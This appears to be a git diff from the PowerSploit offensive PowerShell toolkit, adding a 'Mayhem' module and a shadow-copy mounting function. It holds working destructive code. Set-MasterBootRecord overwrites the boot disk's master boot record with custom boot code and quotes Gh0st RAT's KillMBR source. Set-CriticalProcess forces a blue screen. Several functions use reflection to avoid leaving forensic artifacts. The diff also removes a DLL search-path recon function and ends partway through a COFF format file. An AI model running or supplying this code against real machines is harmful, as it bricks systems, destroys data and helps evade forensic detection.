PowerSploit Function: Mount-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
.PARAMETER Path
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
Description
-----------
Create a mount point in 'C:\VSS' for each volume shadow copy volume
.EXAMPLE
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
.EXAMPLE
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
#>
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String[]]
$DevicePath
)
BEGIN
{
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Validate that the path exists before proceeding
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
# (i.e. none of the forensic artifacts left with using Add-Type)
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([String], [String], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($true))
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32Type = $TypeBuilder.CreateType()
}
PROCESS
{
foreach ($Volume in $DevicePath)
{
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
$LinkPath = Join-Path $Path $Matches.LinkName
if (Test-Path $LinkPath)
{
Write-Warning "'$LinkPath' already exists."
continue
}
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1))
{
Write-Error "Symbolic link creation failed for '$Volume'."
continue
}
Get-Item $LinkPath
}
}
END
{
}
}
+30
View File
@@ -0,0 +1,30 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Mayhem.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
# Author of this module
Author = 'Matthew Graeber'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Mayhem Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
}
+366
View File
@@ -0,0 +1,366 @@
function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table)
#>
<#
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw "Unable to obtain read/write handle to $DeviceID"
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}
+11 -11
View File
@@ -1,12 +1,12 @@
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Recon`
To see the commands imported, type `Get-Command -Module Recon`
For help on each individual command, Get-Help is your friend.
To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Mayhem`
To see the commands imported, type `Get-Command -Module Mayhem`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
-190
View File
@@ -1,190 +0,0 @@
function Get-DllLoadPath
{
<#
.SYNOPSIS
Outputs the order of paths in which a dll would be loaded.
PowerSploit Function: Get-DllLoadPath
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-DllLoadPath returns the path from which Windows will load a Dll for the given executable.
.PARAMETER ExecutablePath
Path to the executable from which the Dll would be loaded.
.PARAMETER DllName
Name of the Dll in the form 'dllname.dll'.
.EXAMPLE
C:\PS> Get-DllLoadPath C:\Windows\System32\cmd.exe kernel32.dll
Path
----
C:\Windows\system32\kernel32.dll
.EXAMPLE
C:\PS> Get-DllLoadPath C:\Windows\SysWOW64\calc.exe Comctl32.dll
Path
----
C:\Windows\SysWOW64\Comctl32.dll
.OUTPUTS
System.Management.Automation.PathInfo
.NOTES
This script will not detect if the executable provided intentionally alters the Dll search path via LoadLibraryEx, SetDllDirectory, or AddDllDirectory.
.LINK
http://www.exploit-monday.com
http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx
#>
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ExecutablePath,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$DllName
)
if (!(Test-Path $ExecutablePath)) {
Write-Warning 'Invalid path or file does not exist.'
return
} else {
$ExecutablePath = Resolve-Path $ExecutablePath
$ExecutableDirectory = Split-Path $ExecutablePath
}
if ($DllName.Contains('.dll')) {
$DllNameShort = $DllName.Split('.')[0]
} else {
Write-Warning 'You must provide a proper dll name (i.e. kernel32.dll)'
return
}
function Get-PEArchitecture {
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path )
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ') {
Write-Warning 'Invalid PE header.'
$FileStream.Close()
return
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) {
Write-Warning 'Invalid PE header or unsupported architecture.'
return
}
if ($Architecture -eq '014C') {
return 'X86'
} elseif ($Architecture -eq '8664') {
return 'X64'
} else {
return 'OTHER'
}
}
# Check if SafeDllSearch is disabled. Note: The logic of this check will fail in XP SP0/1
$UnsafeSearch = $False
$SearchMode = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager').SafeDllSearchMode
if ($SearchMode -eq 0) { $UnsafeSearch = $True }
$OSArch = (Get-WmiObject Win32_OperatingSystem -Property OSArchitecture).OSArchitecture
$PEArch = Get-PEArchitecture $ExecutablePath
$KnownDlls = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs'
if ($OSArch -eq '32-bit') {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
} else {
if ($PEArch -eq 'X86') {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory32
} else {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
}
}
if ($KnownDlls | Get-Member -MemberType NoteProperty | Where-Object { $_.Name -eq $DllNameShort }) {
$Expression = '$KnownDlls.' + "$DllNameShort"
$Filename = Invoke-Expression $Expression
return Resolve-Path (Join-Path $DllDirectory $Filename)
}
$FoundInAppDirectory = Get-ChildItem (Join-Path $ExecutableDirectory $DllName) -ErrorAction SilentlyContinue
if ($FoundInAppDirectory) { return Resolve-Path $FoundInAppDirectory.FullName }
if ($UnsafeSearch) {
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
}
$FoundInSystemDirectory = Get-ChildItem (Join-Path $DllDirectory $DllName) -ErrorAction SilentlyContinue
if ($FoundInSystemDirectory) { return Resolve-Path $FoundInSystemDirectory.FullName }
$FoundIn16BitSystemDir = Get-ChildItem "$($Env:windir)\System\$DllName" -ErrorAction SilentlyContinue
if ($FoundIn16BitSystemDir) { return Resolve-Path $FoundIn16BitSystemDir.FullName }
$FoundInWindowsDirectory = Get-ChildItem "$($Env:windir)\$DllName" -ErrorAction SilentlyContinue
if ($FoundInWindowsDirectory) { return Resolve-Path $FoundInWindowsDirectory.FullName }
if (!$UnsafeSearch) {
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
}
$Env:Path.Split(';') | ForEach-Object {
if ($_ -match '%(.{1,})%') {
$TempPath = $_.Replace($Matches[0], [Environment]::GetEnvironmentVariable($Matches[1]))
} else {
$TempPath = $_
}
$FoundInPathEnvVar = Get-ChildItem (Join-Path $TempPath $DllName) -ErrorAction SilentlyContinue
if ($FoundInPathEnvVar) { return Resolve-Path $FoundInPathEnvVar.FullName }
}
}
-292
View File
@@ -1,292 +0,0 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<ViewDefinitions>
<View>
<Name>ObjectFileView</Name>
<ViewSelectedBy>
<TypeName>COFF.OBJECT_FILE</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>COFFHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SectionHeaders</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SymbolTable</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>COFFHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Machine</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSections</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>TimeDateStamp</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PointerToSymbolTable</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfSymbols</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfOptionalHeader</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SectionHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Name</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PhysicalAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualSize</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRelocations</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToLinenumbers</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
<ListItem>
<PropertyName>RawData</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Relocations</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SymbolTableView</Name>
<ViewSelectedBy>
<TypeName>COFF.SYMBOL_TABLE</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Name</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Value</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SectionNumber</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>StorageClass</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfAuxSymbols</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>AuxSymbols</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Value</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SectionNumber</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>StorageClass</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfAuxSymbols</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>AuxSymbols</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>SectionDefinitionView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_DEFINITION</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Length</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfRelocations</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfLinenumbers</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>CheckSum</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Number</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Selection</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Length</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>CheckSum</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Number</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Selection</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>RelocationView</Name>
<ViewSelectedBy>
<TypeName>COFF.RelocationEntry</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SymbolTableIndex</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Name</Label>
